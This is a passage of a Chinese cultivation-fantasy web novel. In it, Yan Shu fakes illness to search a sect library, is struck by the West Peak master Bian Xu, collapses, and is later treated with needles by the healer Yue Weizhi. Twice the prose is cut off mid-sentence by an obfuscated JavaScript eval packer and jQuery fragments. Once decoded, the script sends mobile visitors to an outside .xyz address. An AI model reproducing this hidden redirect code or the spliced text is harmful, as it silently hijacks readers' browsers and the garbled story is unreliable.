时值清晨,有点点暖光透过窗几洒入房廊,投下一片橘色,压低了房梁,像是夏夜落雨前低垂的云。 周围熙熙攘攘,没有人注意俩人方才那一瞬间的交谈。 谢镜泊一路疾行,一直走到房廊最尽头,才倏然停下脚步。 他闭了闭眼,忽然抬手,旁边值岗的弟子立刻快步上前。 “宗主有何吩咐。” “寻几名弟子,去坊间打听一下有关燕纾......燕宿泱的传闻,收于我听。”谢镜泊低声开口。 那个弟子低声领命,转头刚要离开,却听谢镜泊再次出声。 “若有像方才那般太过不实的......即刻辟谣。” 那个弟子愣了一下 坊间有关燕宿泱的传闻大多都是骂名,骂来骂去早已不知真假,甚至大多数人会全部信以为真。 那个弟子一时间没理解这个“不实”应当怎么定义。 他抬头想要追问,却看谢镜泊的身影早已消失。 · 学堂内,燕纾闭上眼,轻轻按了按眉心。 他感觉身体的力气终于恢复了几分,直起身伸了个懒腰,环顾了一圈,再次飘飘悠悠向一个方向走去。 松一依旧站在刚才长老弟子的棍子旁,瞪着一双眼不知在想什么。 旁边忽然有人凑了过来:“你在做什么?” “方才宗主说的那个禁闭时长.......”松一下意识开口,下一秒,在意识到旁边的人是谁时,瞬间警惕转头。 “你过来干什么?” 燕纾眨了眨眼,笑眯眯开口:“我有些事想要请教小师侄。” 松一冷哼一声:“免了,道不同不相为谋,燕公子方才的话,既然已经摆明了与他们一起同流合污,那与我就没什么好说的了........” 他话还没说完,忽然感到面前一阵清幽的吐息相近。 松一倏然回过头,便看到燕纾手掌抵着桌子,越过桌案,半个身子都凑到了松一跟前。 他今日还穿着一袭白衣,只是去了血污,素得像块连斑纹都没有的玉,清冷冷带着凉意。 明明隔着一张桌子,两人的距离却仿佛近在咫尺,松一几乎能闻到燕纾身上浅淡的药香。 他耳朵瞬间滚烫了起来。 “小师侄刚才生气了啊?”燕纾望着他,笑眯眯开口。 松一耳尖爆红,下意识摇了摇头,倏然又反应过来什么,囫囵点了点头:“对,我就是——生气了。” 他想硬起语气,却见燕纾轻轻“啊”了一声,半垂下眼似乎有些难过。 松一心中闪过一丝愧疚,有些疑心自己方才的话是不是说重了。 但他咬了咬牙,又强行硬起心肠:“行了,我告诉你,我不会再信你的任何谎话,你别想着再骗我——” 他话还没说完,忽然听到燕纾轻声开口:“我其实过来,除了有事相问,还是想感谢一下小师侄。” “刚才长老弟子冲过来的时候,小师侄还是想保护我的吧。” 松一倏然别过脸:“我没有——” 燕纾没在意他说的话,只伸出手指,一条条细数着:“虽避开了我的目光但身子还是朝向这边;在看到那名弟子冲过来后第一时间有所动作.......” 被戳破所有小动作的松一:...... 他瞬间又急又气,直接跳了起来:“我都说了我没有!” 他涨红着一张脸,径直向门口走去,却听身后的人似乎被他吓了一跳,捂住唇压抑地闷咳起来。 松一脚步再次不可控地一顿,脑海中瞬间浮现出前日燕纾失去意识倒在他怀里的样子。 他心中已有些后悔话说的太急,却还是撑着最后一丝硬心肠坚决不回身。 “我告诉你,就算你现在这般说,我也不会那么轻易原谅你,这根本不算道歉——” 燕纾哑声低低叹了一口气:“那小师侄希望我怎么样?” 松一口心中有些乱,张了张口,一时也没想好燕纾到底怎样道歉他才能原谅。 下一秒,便听身后的人哑着嗓子,声音软的像是冬日里蓬松的雪片:“我知你生气,所以我只是想说——多谢小师侄以德报怨。” 燕纾话还没说完,又呛了一口风,低低弱弱地闷咳起来。 松一脑海中方才预设的念想瞬间土崩瓦解。 他忙不迭地回过身,绕过桌子,有些慌乱地来到俯身呛咳的人面前。 ——他这样一个人,孤苦无依,还受了重伤,自己还有什么好斤斤计较的........ 松一刚将手伸过去,却看燕纾颤着身子别过身,避开了他的搀扶。 “可小师侄还在生气,我应当怎么办——” “没事,我原谅你了!” 松一压根没听清燕纾说了什么,涨红着脸忙不迭点头,甚至脱下自己的外套披在燕纾身上:“你先坐会儿,别再被风呛到了。” 他终于将面前“摇摇欲坠”的人扶住,伸手按住燕纾的脉,见脉象还算平稳,无声地舒了一口气。 燕纾眼角抽了抽。 ——这孩子真是善良得让人有些不忍。 他心中难得闪过一丝不好意思,却又顷刻间烟消云散。 ——这傻小子与其被别人骗,不如被他骗。 他这般想着,将半身的重量都靠在松一手臂上,苍白着一张脸勾了勾唇。 “多谢小师侄。” 燕纾又咳了几声,继续“轻声细语”地开口:“那小师侄方才说的那几本药书,可否借我一观?” “没问题。”松一拍着胸脯瞬间应下。 他一边说一边扶着燕纾就要往外走,旁边目睹一切的松竹终于忍不住伸出手,将松一拉到一旁。 “师弟,你和燕公子这是要去哪?” “去师父的藏书阁,燕公子说他想看一下那几本药书。”松一不明所以,但兴致勃勃地发出邀请,“师兄要一同前去吗?” 松竹忍了忍,终于还是没忍住直接问到正题:“那你和燕公子已经无事了?” “对啊,他都已经道歉了,我还生什么气?”松一一边点头,一边探头探脑往燕纾那方瞧。 松竹:“.......燕公子他刚才分明并未说什么。” “你说什么呢师兄,他刚才都已经那么难过了,我还能和他斤斤计较不成?”松一不满地瞪了他一眼。 ......松竹忍住扶额的冲动,深吸了一口气,将挣脱他手的人再次拉住。 “师弟,我劝你还是和燕公子别走那么近。” 松一疑惑抬头,松竹环顾了一圈,声音压低了几分:“我总觉得宗主对燕公子.......” 他话还没说完,便听松一大声开口:“师兄,你能不能大声点说话,燕公子和宗主怎么了?” 松竹:...... 那一瞬间,他心有灵犀般和刚才燕纾的想法不谋而合。 ——这呆瓜与其在宗外被人骗个大的,不如晕头晕脑地跟着燕纾总能长点心眼。 松竹对上不远处燕纾探究地目光,僵硬着脸勉强点头。 他转头重新望向松一,重新吸了一口气:“......没什么。” 松竹咬牙一点点转过身:“我说你除了看看脑子,没事也看看医术怎么长点心眼吧。” 松一:? · 终灵山,西侧峰,藏书阁。 松一说燕宿泱那几本书都是在他师父的藏书阁里寻到的,燕纾跟着他七拐八拐,终于来到一座被半挖空的石窟前。 “这是你师父的........藏书阁?”燕纾望着前面小山一般高的石门,忍不住开口。 “对啊,这可是销春尽藏书最全的一座,你等我一下哈.......” 松一凑到石门前,沿着石门左右张望了一阵,一边在上面敲敲打打,一边小声嘟囔着。 “开山的手势和机关是什么来着的,早知道把我师兄一起叫过来了........我记得是先寻生门,生门是......” “上乾下离见生门,仙人指路,利涉大川,这两个位置。”旁边的燕纾忽然开口。 他顶着松一困惑的目光,随手在石门两处点了一下,下一秒,便听浑厚又缓慢的机关枢纽声自转轴处传来。 面前的雕花石门发出一声闷响,石缝逐渐扩大,紧接着,一股厚重的书香气落了满怀。 燕纾愣了一下,神情间多了几分兴味:“你师父倒有意思,直接拿卦象来当门锁,真是——” 松一好奇回过头,下一秒便听燕纾懒洋洋开口:“简陋又偷懒。” “.......狗嘴里吐不出象牙。”松一哼了一声,“这可是我师父亲自设的,有本事你去质疑他啊。” 燕纾笑眯眯地不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14685693|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,他抱起双臂,微微探头往里瞧去。 石窟里面倒不像他想象的那么昏暗,每层书架间都放上了一颗颗拳头大小的夜明珠,泠泠的冷光四两拨千斤地将幽暗的石窟照亮。 燕纾瞧的新奇,刚准备迈步进去,忽然被松一伸手拦住。 “等一下。” 松一拿过一顶灯盏,偏头看了一眼外面的天色,从手中掏出一张羊皮纸来,一边看一边小心翼翼往前走着。 “我师父嗜书如命,每月按照时令、每日按照三色晨昏,在藏书阁里设了机关,本门弟子每月初拿到手令,方可安全进出藏书阁。” 燕纾若有所思地点了点头,手中掐了个诀,趁着松一转头时迅速翻掌往下一印。 “对了,说起来,你要看那几本药书做什么啊?”走在前面的松一忽然想起什么,好奇转头。 燕纾刚收回手,闻言愣了一下,随口回道:“身染重病,无药可医,故不愿放过一丝希望。” 松一一时无言:“......你要敷衍也敷衍地认真一点吧,之前我给你煎的药你都不喝,像是一心求生的样子吗?” 燕纾抬头看了他一眼,勾了勾唇,不解释但也不反驳。 松一这几日已基本摸清了他的性格,清楚再追问下去,燕纾指不定又给他扯什么离谱的答案,撇了撇嘴,重新转过头。 石窟内一时间寂静无声,只剩下两人匆匆的脚步声。 但很快,这种平静就被一阵阵喘息声打破。 “怎么.......还没有走到吗?” 燕纾喘了一口气,扶着旁边的书架站定,微微弯下腰。 “都跟你说了,这是销春尽最大的一间藏书阁,不过也快了,往南再走十步,到坎三架后往西行......” 松一絮絮叨叨地说了一通,燕纾在急促的喘息间只记住了“还要走一盏茶的功夫”。 燕纾顿觉眼前一黑。 他跟着又走了两步,实在忍不住再次扶上旁边的书架,却不小心碰到了一颗夜明珠。 圆滚滚的珠子瞬间往旁边歪斜,燕纾手忙脚乱地将珠子扶稳,目光不经意落到旁边的书籍上,神情忽然一顿。 “你别乱走啊,这里这么大又满是机关,一会儿你走丢了我可寻你不到。” 松一走了两步听到身后没了动静,不得不重新折返回来。 燕纾迅速收敛了神色。 他重新半弯下腰,捂着胸口摆了摆手,声音比刚才又弱了几分:“等一下小师侄,我真的走不动了,你要体谅一个病重之人........” “你有一点病重之人的自觉吗。”松一忍不住开口。 燕纾苍白着一张脸,冲着他微微勾了勾唇,被凉气一激,又没忍住偏头闷咳起来。 ——让原本想要再开口的松一莫名有一种自己真的在虐待病人的错觉。 他犹豫了一下,终于开口:“那要不你在这里待着别动,我把燕宿泱那几本书给你拿过来。” 松一话音刚落,便看到面前的人露出了一副“你怎么不早说”的神情。 “.......我怎么知道你身体弱成这样啊!”松一咬牙。 他见燕纾唇色都已隐隐泛白,到底也没再说什么,只又叮嘱了他几句不要随意乱跑,端着灯盏迅速消失在拐角处。 灯盏带来的星星点点暖光逐渐远去,四周的夜明珠的冷光逐渐凸显,在一片寂静间莫名诡异。 燕纾缓缓舒了一口气。 他慢慢直起身,神情间的虚弱感早已一扫而空。 “还是不改书呆子的习性,一个藏书阁建的跟迷宫似的。”燕纾勾了勾唇,脚下微错,一晃身便重新回到刚才被他碰掉的夜明珠前。 他手指绕过夜明珠,小心翼翼地抽出后面那本书来,轻轻吹了一口气。 细微的浮尘瞬间漂浮在空中,书封上尘封已久的印记也终于逐渐浮现。 燕纾微微垂下眼,瞳孔微缩。 ——这还真是.......他自己的字迹。 燕纾随手翻了翻,这本不是药书,不过是一些寻常杂记,松一应当是没有发现过。 看来这藏书阁......确实比他想象的还要“大”。 燕纾将书卷起来,在手腕处敲了敲,指尖一转,忽然掏出一张符来。 他环顾了一圈四周,轻轻打了个响指,四周夜明珠泠泠的光倏忽间流动了起来,一点点汇到那黄符之下。 流转的光晕恍若九天银河,燕纾指尖一弹,轻呵一声:“去。” 银河骤然炸开,紧接着不过一瞬,昏暗的书架上起此彼伏地一点点显露出四散的星光。 燕纾皱了皱眉。 刚才他挥出去的是一个简易的小范围计数符,是他曾经无聊时拿追踪符改造的。 追踪符能寻迹觅踪,所以追根到底计数的原理也就是把所有沾染上这个气息的东西都显现出来,让施符者有个大概估量。 ——这个藏书阁里,竟然还真有不少和他相关的东西。 周围明灭的冷光瞬间如鬼魅般令人悚然,燕纾搓了搓手臂,微微打了个寒战。 “藏这么多我的东西......居心不良。”他小声开口,环顾一圈,大致记住了几个方位。 身后似乎隐隐有响动声传来,燕纾手腕一翻,周围的光亮迅速暗淡。 他抬指按在自己脉门处,不过片刻,脸色便肉眼可见地苍白下来。 燕纾身子晃了一下,捂唇咳了咳,轻笑着抬起头:“小师侄回来的还挺早——” 他话还没说完,忽然瞳孔紧缩,足尖一点骤然向后撤去。 下一刻,他原本站的那处青石板发出“砰”的一声闷响,顷刻间露出几道裂纹。 燕纾堪堪稳住身形,还没来得及说什么便看对面的人身形不停,手掌在旁边书架上径直一撑。 书架上的夜明珠分毫未动,那人却已迅速转了身形,毫无停滞地再次向他袭来。 燕纾皱了皱眉。 ——身法熟练,对灵力的控制分毫不差,境界至少在六月息者之上。 有这个境界的人在销春尽也是屈指可数,再加上这个藏书阁外人轻易无法进来,燕纾心中对来人的身份已大概有了个猜测。 他手中原本捏着的几张符纸瞬息隐去,在那人贴近的一瞬袖口一展,浑浊的烟雾瞬间在两人间蔓延开来。 那人立刻屏息,脚步一顿,停下攻势警惕地望向周围的浓雾。 “阁下是谁,怎么一上来火气这么大?”燕纾带着笑意的声音从一片混沌间模糊传来。 那人倏然偏过头,一掌挥出,却打了个空。 一阵低低的笑声在他耳畔响起,如绕指柔般萦绕在侧,却又分不清方向。 “我与阁下应当是素不相识吧,若不是早有积怨,莫非阁下.......对我偷偷恋慕已久?” 他话音刚落,下一秒,便感觉一股灵力将他直接锁定,紧接着,一股恐怖的威压骤然袭来。 境界差距带来的压迫如天网般将他整个人包裹得动弹不得,燕纾心神剧震,指尖立时浮现出几张符纸,却没忍住闷咳一声,唇角立时溢出几缕血丝。 同一刻,一个木然的声音瞬时由远及近:“聒噪。” 燕纾手指颤了颤,忽然间缓缓松开了原本夹在指尖的两道符咒。 掌风袭来,烟雾消散,那人身影瞬间逼近。 燕纾在巨大的不适感间,甚至抽出了几分精力,扫视了他一眼。 那人眉目俊朗,只是表情木然呆滞,穿着一身最普普通通的宗门灰色长袍,只底下暗纹处用银丝云线绘上了销春尽西峰的标识。 ——销春尽西侧峰峰主,边叙。 此时,他手掌前推,一掌锁住燕纾位置,正待聚力,忽然听到一个焦急的声音从拐角书架处传来。 “师父——” 松一远远就听见了这边的打斗声,匆匆忙忙想要赶来,奈何七拐八拐的实在太过难走。 等他好不容易赶到近前,正看到面前这一幕。 他想要上前,但在自家师父境界的压迫下压根无法靠近分毫。 “师父,您手下留情,他不是——” “他身上有魔族的气息。”边叙忽然打断他的话。 松一话语一滞。 就这一刹那,边叙的掌心已贴上燕纾胸前。 他忽然皱了皱眉。 ——那一瞬间,他似乎从面前人眼眸间捕捉到点点笑意。 6. 药效 边叙隐隐感觉哪里不对劲,下意识想要将掌心的灵力收回。 但下一秒,面前的人忽然爆发出一股磅礴的灵力,边叙心神一凛,掌心灵力下意识倾泻而出,却忽然感觉面前的人收了力。 边叙神情间闪过一丝愕然。 两人周围的威压骤然消失,随之而来的是一声压抑的闷哼。 燕纾捂住胸口,控制不住踉跄后退,重重地撞到身后的书架上,骤然喷出一口鲜血。 ......书呆子力气还这么大。 燕纾心中暗骂一声,按着胸口的手飞速在衣袍暗袋里摸索着什么,却控制不住周身力气的流失。 书架上的夜明珠随着这一撞剧烈摇晃,一颗颗滚落在地,发出令人心颤的碎裂声。 书架前的人也眼前发黑,实在是站不住,身子摇晃了两下,顺着书架一寸寸无力下滑,按着胸口,跪坐在在一片清泠泠的碎片间。 他神情狼狈至极,却还是抬起头,勉力冲面前模糊的人影笑了笑:“西峰峰主......好身手。” 边叙皱眉望着他,也不回话,只慢慢上前几步,忽然单膝落地。 他半跪在燕纾身前,径直伸手往他心口按去。 这幅画面乍看起来很是温馨——如果不是燕纾自己坐在一片血泊中,面前的人刚才又差点杀了他的话。 燕纾心知再让这书呆子这么来一下自己就真死了。 他抬手想拦,手臂却无半分力气,只抬起了半寸,便脱力地重重坠了下去。 燕纾苦笑一声,暗叹一声自己自作自受。 他仰起头,对上边叙看着陌生人一般冰冷的目光,感觉周身的伤口越发痛了起来,唇角却没忍住浮现出一抹笑意。 ——罢了,也算是......没白费。 他看着边叙的手一点点逼近,甚至能感受到他指尖灵力在一点点聚集。 在碰到他心口的那一刹那,旁边一只手忽然伸了过来,急急地挡在了燕纾身前。 “师父,您等一下!” 松一终于跑了过来,伸长了手臂挡在燕纾身前。 燕纾借着这一空隙,勉强提起一口气,从袖口中摸出了一枚药丸,迅速送入了口中。 他无声地吐了一口气,脸色肉眼可见地红润了几分,目光却逐渐涣散起来。 面前的两人还在对峙,没有人注意到身后的人这一点小动作。 边叙动作一顿,没有说话,但慢慢将目光转向了两人间的松一。 松一迅速开口:“师父,我知道您心中有疑虑,但您能不能让我先检查一下他的身体。” 他有些紧张地挡在两人身前,咽了一口唾沫,脑袋此时还有些宕机。 他还没完全搞明白方才具体发生了什么,他相信自家师父判断不会有误,但又不愿相信燕纾真的和魔族有关。 边叙望着他,平平开口:“他身上有魔族气息。” “我知,但他曾经在魔族结界内救过我和松竹师兄,万一有什么误会......” 身后燕纾压抑的咳声再次传来,松一深吸一口气,更加加快了语速。 “我不是在为他开脱,师父,但他本就是个病秧子,身子三步一喘五步一歇,怕是受不住您这一击。” 松一眨眨眼,小声开口:“我先吊住他一条命,不然人死了,您也问不到对不对?” 边叙举着手静了几秒,忽然撤回手,进而倏然站起身:“有理。” 松一无声地舒了一口气。 他转过身面对着身后的人,一边伸出手一边没忍住又叹了一口气:“你怎么样?把手腕给我,我看看你具体伤的怎么样.......” 松一话说到一半已伸手拉住燕纾的手,却被皮肤的温度冰的一激灵。 他直觉哪里不对,倏然抬起头,整个声音忽然变了调。 “燕纾!” 书架前的人似乎已经完全失去了意识。 他原本跪坐的姿势因为脱力而跌坐下来,歪头靠在角落,层层叠叠的布料堆叠在蜷曲的双腿上,露出一小截苍白的脚踝。 脸上仿佛连最后一丝血色都消失了,唇色苍白的可怕,被松一一推,身子晃了晃,径直软在了他怀里。 ——而松一甚至感受不到怀里人的呼吸。 松一快要吓疯了。 “喂,你醒醒,你怎么了.......” 他一手撑住身子不住下滑的人,一手去寻他的脉门,想要往里面输灵力,“燕纾,别睡,你清醒一下.......” 怀里的人身子冰凉,周身没有半分力气,恍若布满冰裂的白瓷,一碰就要碎掉。 “师父,您帮帮我.......”输进去的灵力仿佛石沉大海,松一慌了神,有些绝望地抬头望向边叙。 下一秒,却听边叙低声开口:“他还活着。” 松一怔了怔,有些仓皇地去摸燕纾的脉搏,却依旧感受不到任何跳动。 “没有,他没有......我听不到........” “他体内还有灵力流转,”边叙皱了皱眉,神情也有一些疑惑,“很弱,但确实存在。” 一般灵力波动弱到这个程度,基本上不是个废人,就是重病卧床。 这么一想,刚才两人打斗时,边叙似乎也没感受到燕纾身上的灵力波动,甚至还没有现在昏迷时波动明显。 但面前的人刚才活蹦乱跳的不说,甚至还给他制造不小的麻烦。 边叙本就嗜书如命,对新奇之事有着强烈的兴趣与执着。 他再次慢慢蹲下身,一点点凑近燕纾,原本木然的神情间终于多了一丝兴味,伸手又要去够燕纾心口的脉门。 下一秒,却看到面前双眼紧闭的人身子一颤,神情间浮现出一抹痛苦,紧接着蓦然张口。 “咳——” 边叙意识到不对,迅速往旁边一闪,却还是被飞溅的血沫落了半身。 “咳咳咳.......抱歉,我刚没看到你,不是有意要,咳咳.......” 燕纾一口气还没缓过来,却是冲他勉强勾了下唇,整个人还有些脱力,靠在松一肩膀上一连声地咳着,背脊微颤。 边叙倒是没什么太大的反应,满不在乎地看了一眼弄脏的衣袍,干脆直接脱下来扔到了一边,仍旧一眨不眨地盯着面前的人。 三人之间,只有松一反应最剧烈。 “行了,你醒了就先闭嘴,别说话了。” 他惊慌与欣喜交织在脸上,伸手再次按住燕纾的脉搏,在确认面前的人是真的活过来后,忍不住又絮叨了起来。 “你知不知你刚才都已经连呼吸都没有了,你身体到底什么情况,有哪里难受赶紧说出来........” 松一扶着面前的人重新靠回书架上,话还没说完,忽然听到面前的人笑着打断他的话。 “我没什么事,多谢小师侄关心。” 松一只当他又在为了不喝药耍无赖,瞪了他一眼:“你能不能配合一点,你知不知道你刚才真的快要死了。” “上次你说我给你煎的药没用,那你这次自己告诉我你到底出了什么问题,我得知道你身体的具体情况才能对症下药......” 燕纾眨了眨眼,忽然“哦”了一声。 “我确实有些不舒服。” 松一满意地抬起头,却看面前的人抬起手,冲着他微微晃了晃。 “刚才摔下去的时候一时没控制好力度,掌心被碎片划破了,能否麻烦小师侄帮忙包扎一下?” 松一:...... 他直接气结:“你——” 他还没来得及说什么,忽然只见旁边一直一言不发的边叙伸出手,径直按住了他的脉门。 燕纾惊了一下,下意识想要挣扎,下一秒却看边叙转过头,望向松一:“他身子有旧伤,但确实已无大碍。” 燕纾愣了愣,这才意识到边叙只是过来给他把脉。 旁边的松一也怔了一下,进而不可置信地抬起头:“这不可能!” 他迅速伸手按住燕纾另一边脉搏,意识到了什么,眉头越皱越紧。 ——燕纾的脉搏确实和之前没什么两样。 除了能摸到如之前般身体底子弱的一塌糊涂外,压根没有刚受过重伤的脉象。 “这不可能......” 松一喃喃开口:“你刚才分明......” “刚才身体确实有些不舒服,所以晕过去了一瞬,但我已经没有大碍。” 燕纾弯了弯眼,再次想要往后抽手。 松一怔怔地松开了手,边叙拉着人的手指却忽然一紧。 燕纾顿了顿,抬起头,正对上边叙漆黑的眼眸。 他恍惚了一瞬,紧接着便听边叙低声开口:“所以你已入魔?” 藏书阁内静了一瞬,松一想到了什么,倏然抬起头。 妖、魔两族的灵力流转和修仙之人不同,修仙讲究中庸而为,选择细水长流;妖魔却向来只图一时快意,往往一蹴而就。 因此,入魔之人修行和受伤的恢复程度,都要比寻常人快上许多。 修炼漫长枯燥,仙门百年来常有坚持不下的人选择入魔,修为突飞猛进,但常因心境未达同样境界,最终落得个走火入魔、屠戮四方的下场。 松一垂在身侧的手一点点攥紧,却看燕纾神情不变,无辜地歪了歪头:“我没有啊。” “你身上有魔族的气息。”边叙依旧握着他的手,紧紧盯着他。 “哦,你说这个啊......” 燕纾弯了弯眼,忽然别过头,目光落到不远处地上的两张黄符上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14685694|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “峰主想必应该听说过驱魔符吧。” 边叙神情没有什么变化,旁边的松一却意识到什么,讶然抬头。 驱魔符需要根据魔族气息来锁定对象,因此本身符咒上就会带上些许魔气,便于精准锁敌。 边叙顺着他的目光转过头,他单手按着燕纾,另一手一抬,直接将两张符召了过来。 他手指翻转了一下,那符纸上画的阵法确实是驱魔所用,上面萦绕着些微魔气。 ——但刚才感受到的魔族气息却似乎没有这么微弱。 边叙神情间浮现出些许疑惑,他还没来得及说什么,便听面前的人先一步笑着开口。 “所以刚才就是个误会,我也没有什么大碍,西峰主不必放在心上。” ——燕纾先发制人地直接把这个话题掠了过去。 边叙抬头看了他一眼没有说话,松一倒是长舒了一口气,没忍住又瞪了燕纾一眼。 “你还没什么大碍呢,刚才吐血都吐的不要命了。” 松一小声嘟囔:“这么喜欢受伤,怕不是恋痛......” 燕纾扶着书架慢慢站起身,不置可否地弯了下眼,悠悠开口:“小师侄此言差矣,我可是最怕痛了。” 他眼前有些发黑,神情间却看不出任何异常,只在松一的搀扶下快步向门口走去。 回去的路比来时要快了许多,燕纾看着石窟口透出的近在咫尺的光亮,无声地舒了一口气。 但在离门口几步之遥时,旁边的边叙忽然开口:“你方才在高兴什么?” 燕纾脚步一顿。 “从我之前向你出手的那刻,你仿佛心情就一直很好。”边叙紧紧地盯着他。 .......这个书呆子的感觉还真是敏锐的可怕。 燕纾眉心跳了跳,面上却依旧笑眯眯地看不出异常:“峰主多虑了。” “我第一次见到峰主,怎能不高兴?” 他眼前有些发晕,刚才那枚药丸的副作用在逐渐显现,燕纾踉跄了一步,挣脱开松一的搀扶,靠着书架笑了笑。 “你在看到我衣服纹样的时候才知我是西峰峰主,但在那之前——” 方才打斗的一帧帧场景在脑海里重现,边叙缓缓开口。 “——在那之前,你情绪很明显就已很兴奋了。” 边叙盯着他:“你之前认识我?” 燕纾眼前已是一片明明灭灭,张了张口,一时间却没有说出话。 他只微微摇了摇头,下意识慢慢继续往外挪。 边叙紧紧盯着燕纾的脚步。 燕纾往外走时,脚下的步伐虽有些踉跄,却并未踏错一步。 ——仿佛早已熟知。 边叙皱了皱眉。 面前的人给人的熟悉感和记忆中某个人越来越相似,但样貌却又似乎……并不一致。 一阵清风从石窟门口刮过,隐隐露出燕纾腰间的一块无字玉牌,边叙瞳孔骤然紧缩。 他上前一步,蓦然开口:“师兄?” 下一秒,他看着燕纾扶着石门的手指一瞬间攥的青白。 他神情间似乎闪过一丝不可置信,紧接着又硬生生扯出一丝笑意。 “峰主认错人了。” 燕纾踉跄着后退一步,头顶的发簪有些松了,几缕发丝从两侧垂落,隐隐露出苍白纤细的脖颈,脆弱而又执拗地骗过去不去看他。 燕纾笑着摇了摇头,仍旧慢慢往外走去:“我不是你师兄……” 松一注意到燕纾唇色又隐隐苍白起来,他有些慌张地想要上前,却见边叙已先一步拦住燕纾的去路。 “那你为什么称松一为师侄?”边叙挡在燕纾身前,咬牙低声开口。 松一愣了一下。 ——他从来没见过自家师父在书册之外,露出这么强烈的情绪。 一旁的燕纾耳边已满是嗡鸣声,过了好半天才听清边叙说了什么。 他几乎已分不清周围是真是幻,静了几秒,忽然低低地笑了一下:“因为......我心悦谢镜泊啊。” 下一刻,松一便看到,自家师父神情间再次浮现出强烈的错愕。 面前传来一声压抑的闷哼,抛下这枚重磅的人却浑不自知,身子晃了晃,在一片碎光间倏然软了下去。 · 深夜,子时。 燕纾是被心口间一阵刺痛扰醒的。 他喉头一阵猩甜,撑起身骤然喷出一口鲜血,才感觉心口的憋闷减轻了些许。 旁边传来一声冷哼,紧接着一个阴阳怪气的声音响起。 “作死的时候怎么不想着现在难受了?” 燕纾抬起头。 他望着床边正一根根收拾着银针的人,似笑非笑地勾了勾唇。 “你大老远跑来,就是为了训我的樾为之?” 7. 发作 樾为之一袭红衣坐在床旁,头发用一根红色金丝发带高高束起,发带中央顶着一颗硕大的红玉宝石。 端的是张扬无比——如果不是他现在眉间阴霾密布的话。 他听着燕纾的话,再次冷哼了一声,手腕一翻,几根银针瞬间落到了床上没个正型的人身上,针尾还轻轻发着颤。 燕纾“嘶”了一声,瞬间痛的打了个哆嗦。 “樾为之,你虐待病人啊!” “不疼点你怎么会长记性。”樾为之冷笑了一声,又想到了什么,阴阳怪气地“哦”了一声。 “我忘了,再疼你也不会长记性,只会一次次巴巴地往火坑里跳。” 银针上附着的灵力在一点点往全身经脉里渗入,燕纾又轻轻“嘶”了一声,单手撑起身子,慢慢靠回床头。 “哪有一次次跳,我现在不还好好地待在这儿呢吗,”他望着樾为之,轻轻笑了一下,“真跳那么多次,我不早就粉身碎骨了。” “你以为你现在好的很吗?”樾为之直接被气乐了。 他实在懒得理这个完全不珍惜自己身子的人,鼻腔“哼”了一声,径自拂袖起身大步往外走去。 “药在桌子上,你爱吃不吃,我先走了。” “哎,等一下!”燕纾手指动了动,无辜抬起头,“你不把针拔了再走吗?” “银针插一晚上也死不了,”樾为之不为所动,衣袖纷飞间继续大步向前,“等明早你自己有力气了自己拔吧,刚好时间长疗效好。” 他话音刚落,便听身后的人声音忽然软了几分:“可是好痛啊,为之。” 樾为之脚步一滞。 燕纾咳了几声,又小声开口:“是我错了,为之……真的好痛。” “……知道痛之前干什么去了!” 樾为之倏然转过头,大步走到燕纾身前:“我给你那个药不是让你这样毫不顾惜自己身体、以身犯险的。” 燕纾垂着眼,微微颔首:“我知,但……” “你不知道,燕宿泱。” 樾为之冷声打断他的话。 “那个药能在一刻钟内迅速恢复你身体的致命伤,但半个时辰后会即刻昏迷,陷入心魔;如果不能最终破除,轻则永睡不醒,重则走火入魔。” 樾为之咬牙望着他:“我给你那个药是让你在危机时刻能有一线逃生机会,不是让你在众目睽睽、毫无保障的情况下陷入心魔。” 房间里一时静的可怕,燕纾靠在床头,放缓呼吸对抗着银针带来的刺痛:“他们不会伤我的,为之。” 他抬起头,又冲着樾为之轻轻勾了下唇:“而且,这不是还有你吗?” “你看我下次还管你不管,”樾为之狠狠地瞪了他一眼,毫不留情地开口,“何况你怎么知道他们不会伤害你,你变成这样是拜谁所赐?” “你已经不是销春尽的人了。”樾为之冷声开口。 “非我族类,其心必异。” 燕纾被呛了一下,捂唇闷咳两声,有些无奈地抬起头:“你还真是毫不顾惜你的病人啊。” “我的病人左右都要把自己作死了,不差我这一下。”樾为之没好气地开口。 他嘴上这么说,却到底听着燕纾越发沉重的呼吸重新坐回了床边,调整了一下银针的走势。 经脉上的疼痛减轻了些许,燕纾呼吸逐渐均匀起来。 他本就是被樾为之银针强行刺激而醒,此时一放松下来,神志逐渐开始昏沉起来,忍不住有些犯困。 旁边的樾为之被哄了一下后消了点气,继续沉着脸坐在床旁,细细检查着燕纾的伤势。 他看着床上的人头睡的一点一点的,脖颈不舒服的歪着,环顾了一圈四周,轻轻“啧”了一声,忽然翻身上床坐到了燕纾旁边。 “这破屋子你也能呆得下去,谢镜泊给你下了什么迷魂汤了。”樾为之一边扶着人靠过来,一边嗤笑一声。 “连个靠枕都没有,在家里你不都真丝被、苏绣枕堆满了床,坐个椅子还得抱着猫儿,才肯勉勉强强坐下来。” 樾为之嘲讽起人来直接无差别攻击,燕纾也不以为意,身子往下缩了缩,头往旁边自然一侧,寻了个舒适的姿势靠在了他肩膀上。 “我哪有那么金贵。” 燕纾捂唇小小打了个哈欠,忽然又抬手拍他:“你快把那个药枕拿出来,给我垫一下。” 